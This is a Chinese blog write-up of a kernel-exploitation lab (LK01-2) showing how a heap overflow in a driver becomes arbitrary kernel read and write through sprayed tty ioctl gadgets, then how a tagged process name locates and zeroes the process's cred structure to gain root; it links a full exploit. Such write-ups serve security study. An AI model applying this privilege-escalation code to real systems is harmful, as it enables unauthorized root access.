通过篡改cred结构体实现提权利用

liftword2个月前 (03-09)技术文章10

前言

作者利用任意地址读写分别改写modprobe_path以及cred结构体去实现提权的操作,由于改写modprobe_path的方法之前已经研究过了,因此现在详细记录一下如何修改cred结构体完成提权操作。

cred结构体

cred 结构体通常出现在UNIX/Linux操作系统内核中,用于表示进程的凭据(credentials)。这些凭据包括有关进程身份的信息,如用户ID、组ID、权限等。结构体部分成员如下

struct cred {
    atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers;/* number of processes subscribed */
void*put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t  uid;/* real UID of the task */
kgid_t  gid;/* real GID of the task */
kuid_t  suid;/* saved UID of the task */
kgid_t  sgid;/* saved GID of the task */
kuid_t  euid;/* effective UID of the task */
kgid_t  egid;/* effective GID of the task */
kuid_t  fsuid;/* UID for VFS ops */
kgid_t  fsgid;/* GID for VFS ops */
...
} __randomize_layout;

而我们在ret2usr的操作中,通常都为执行commit_creds(prepare_kernel_cred(0)),实际就是为了获取root的凭证,因此如果我们能过任意地址写的操作修改cred的结构体也同样能够实现。

cred的结构体存在uidgid等标识符用于标识在系统中用于身份验证和权限控制,因此将这些标识符修改为0,即可将当前进程修改为root进程。

那么该如何获取cred结构体的地址,则是提权的关键。这里就需要凭借任意地址读的操作。在task_struct中存在着cred结构体的指针值。并且该指针值刚好存在于comm变量的上方,而该变量用于存储当前的进程名。

    /* Effective (overridable) subjective task credentials (COW): */
conststruct cred __rcu  *cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key   *cached_requested_key;
#endif

/*
     * executable name, excluding path.
     *
     * - normally initialized setup_new_exec()
     * - access it with [gs]et_task_comm()
     * - lock it with task_lock()
     */
char    comm[TASK_COMM_LEN];

因此我们可以通过将当前的进程名设置为在内核地址中几乎不会出现的值,则可以搜索内存值找到comm变量的位置,那么就可以获取cred结构体的指针值。

这里使用prctl函数设置进程名,prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。 prctl 函数的原型如下:

#include <sys/prctl.h>

int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。

prctl 函数的参数和行为取决于传递给它的 option 参数,以及可能的附加参数 arg2arg5。不同的 option 值对应于不同的控制操作。

以下是一些常见的 option 值和它们的用途:

  1. 1. PR_SET_NAME:设置进程的名称,可以用于在系统中标识进程。
  2. 2. PR_GET_NAME:获取进程的名称。
  3. 3. PR_SET_PDEATHSIG:设置父进程退出时发送给子进程的信号。
  4. 4. PR_GET_PDEATHSIG:获取父进程退出时发送给子进程的信号。
  5. 5. PR_SET_SECCOMP:启用或禁用Seccomp过滤器,用于限制进程对系统调用的访问。
  6. 6. PR_SET_KEEPCAPS:控制进程是否保留其有效用户ID的能力。
  7. 7. PR_GET_KEEPCAPS:获取进程是否保留其有效用户ID的能力。
  8. 8. PR_SET_NO_NEW_PRIVS:设置进程的No New Privileges标志,用于控制是否可以提升权限。
  9. 9. PR_GET_NO_NEW_PRIVS:获取进程的No New Privileges标志状态。
  10. 10. PR_SET_DUMPABLE:设置进程的核心转储状态。
  11. 11. PR_GET_DUMPABLE:获取进程的核心转储状态。
  12. 12. PR_SET_CHILD_SUBREAPER:设置进程是否作为子进程的子进程的领导者。
  13. 13. PR_GET_CHILD_SUBREAPER:获取进程是否作为子进程的子进程的领导者。
ptrctl(PR_SET_NAME, "XXXXXXXXX"); //设置进程名

那么利用cred结构体的提权流程如下:

  • o 具有任意地址读写的操作
  • o 使用prctl函数将进程名设置为关键字
  • o 使用任意地址在内核内存中搜索关键字,获取cred结构体的地址
  • o 使用任意地址写修改cred结构体标识符的值,全修改为0

LK01-2

项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2/qemu/AAR%26AAW

题目的读写模块存在着堆溢出的漏洞,那么想要使用cred结构体进行提权,首先需要构造出任意地址读写的操作。

...
    *(unsignedlong*)&buf[0x418]= g_buf;
    p[0xc]=0xaaaaaa;
    write(fd, buf,0x500);
for(int i =0; i <100; i++)
    ioctl(spray[i],0x1234,0x5678);
...

正如之前所说的,ioctl的参数是会传递给寄存器的,可以看到ioctl函数的参数对应RCXRSI寄存器,而第三个参数对应于RDX寄存器。并且距离g_buf地址的0xc的位置可以劫持程序的流程。

那么在内核中搜索相关的gadget就可以构造出任意地址读写的操作。

任意地址读

这里需要注意的是ioctl函数的参数的字节长度是不同的,在执行ioctl(spray[i], 0x1122334455667788, 0x1122334455667788)时,我们同时往参数二与参数三写入0x1122334455667788的值,但是RCX寄存器值传入了4个字节,而RDX寄存器可以传入8个字节,因此我们需要将RDX寄存器作为地址,而RCX作为值,这是因为内核地址是占满八字节的。

搜索的表达式为cat g | grep "mov .* \[rdx\];",由于需要rdx作为地址,因此直接搜索以rdx作为间接寻址的操作,括号需要进行转义字符。这里我们选取0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;作为任意地址读的gadget,这是因为我们可以往rdx填入想要读取的地址并且eax通常用于存储返回值,因此直接读取返回值即可获得rdx指向的值。

为了加速读取,作者这里采用缓存的形式,将能够控制的tty结构体的文件描述符存储起来,这样在下次读取时就不用重新遍历一遍。

//0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;
intaar(unsigned long addr)
{
int result;
*(unsignedlong*)&buf[0x418]= g_buf;
    p[0xc]= kernel_base + op_aar;
    write(fd, buf,0x500);
if(cache_fd ==-1)
{
for(int i =0; i <100; i++){
           result = ioctl(spray[i],0, addr);
if(result !=-1)
{
               cache_fd = spray[i];
return result;
}
}
}
else
return(result = ioctl(cache_fd,0, addr));
}

任意地址写

任意地址写的gadget搜索思路与任意地址读一致,同样是将rdx作为寻址的寄存器,并且由于需要构造任意地址写,因此rcx寄存器则是我们想写入的值,因此搜索的表达式为cat g | grep "mov .* \[rdx\], rcx;"

//0xffffffff810477f7: mov qword ptr [rdx], rcx; ret; 
voidaaw(unsigned long target_addr, unsigned long data)
{
*(unsignedlong*)&buf[0x418]= g_buf;
    p[0xc]= kernel_base + op_aaw;
    write(fd, buf,0x500);
for(int i =0; i <100; i++){
       ioctl(spray[i], target_addr, data);
}
}

cred结构体的搜索与改写

首先是将当前进程名设置为一个关键字

prctl(PR_SET_NAME, "h0pe-ay!");

然后就是在内存中搜索该关键字,由于task_struct结构体存在于堆地址中,因此可以在堆地址中搜索。我们可以通过泄露的g_buf的地址,然后往前搜索,因为cred结构体会先于g_buf创建。这里需要注意的是需要将进程名改为小端,这里记录一下python从字符串转为16进制的脚本,因为每次都忘记了。

#从字符串转化为十六进制
>>> text = "h0pe-ay!"
>>> hex_string = text.encode('utf-8').hex()
>>> print(hex_string)
683070652d617921

#从十六进制转化为16进制
hex_string = "65703068"
bytes_obj = bytes.fromhex(hex_string)
print(bytes_obj)

接下来就是搜索内存了,需要注意以下几点

  • o 使用小端序进行比较
  • o 需要从g_buf地址往前搜索
  • o 由于每次只能泄露4字节数据,因此需要泄露两次

在成功搜索到关键字之后,comm的上方四字节则是用于存储cred结构体的指针,因此需要通过任意地址去读取指针值,同样的由于只能读取四字节,因此需要读取两次,然后使用简单的移位组合起来。

    for (unsignedlong addr = g_buf -0x1000000;; addr +=0x8)
{
if(aar(addr)==0x65703068&& aar(addr+4)==0x2179612d)
{
printf("[+] found!\n");
printf("addr:0x%lx\n", addr);
            cred_addr = aar(addr -4);
            cred_addr =(cred_addr <<32)| aar(addr -8);
printf("cred_addr:0x%lx\n", cred_addr);
break;
}
    }

最后就是改写cred结构体了,只需要将所有标识符修改为0即可,接着拿shell即可

    for (int i = 1; i < 9; i++)
        aaw(0, cred_addr + i*4);

完整exp可见https://github.com/h0pe-ay/Kernel-Pwn/blob/master/LK01-2/LK01-2/qemu/AAR%26AAW/exp.c

相关文章

Python中的进制转换函数详解

左手编程,右手年华。大家好,我是一点,关注我,带你走入编程的世界。公众号:一点sir,关注领取python编程资料在编程中,经常需要在不同的进制之间转换数值,尤其是二进制、八进制、十进制和十六进制。P...

Python中的十六进制与十进制的相互转换

十进制主要运用于日常生活当中,而八进制主要运用于电子技术行业,是为了配合二进制而使用的,二进制是机器能够识别的最直接语言,但是二进制位数太多,不方便记录,所以一般把二进制转化为八进制或十六进制。在这篇...

「调试」使用python与单片机进行通信

调试说明:环境:usb转ttl线一根,通信协议一份,STC系列单片机一个,电脑一台。功能:使用python发送16进制数据转换成字节流数据发给单片机,单片机返回16进制数据后转10进制(本次测试是获取...

逐浪字体大师的UNI转码之Excel将十六进制转换成十进制的方法

最近在做字体大师,一款可以快速通过网页进行字体设计,从而生成字体的开放工具,部署于v.ziti163.com,效果如下:在这里插入图片描述因为其中C#需要调用字符码,其读取的是10进制,而字体的uni...

Python 趣味编程:我的压岁钱

题目压岁钱又名压祟钱。是除夕吃完年夜饭,由长辈将事前准备好的钱分给晚辈,是过年习俗之一。今年除夕页面,小明收到了妈妈的 600 元,爸爸的 800 元,奶奶的 800 元,爷爷的 1000 元,姥姥的...

Python二进制、八进制、十进制、十六进制互转

Python二进制、八进制、十进制、十六进制互转在Python中各种进制的转换还是比较方便的,都有内置的方法二进制 bin()八进制 oct()十六进制 hex()十进制 int()通过以上4个方法就...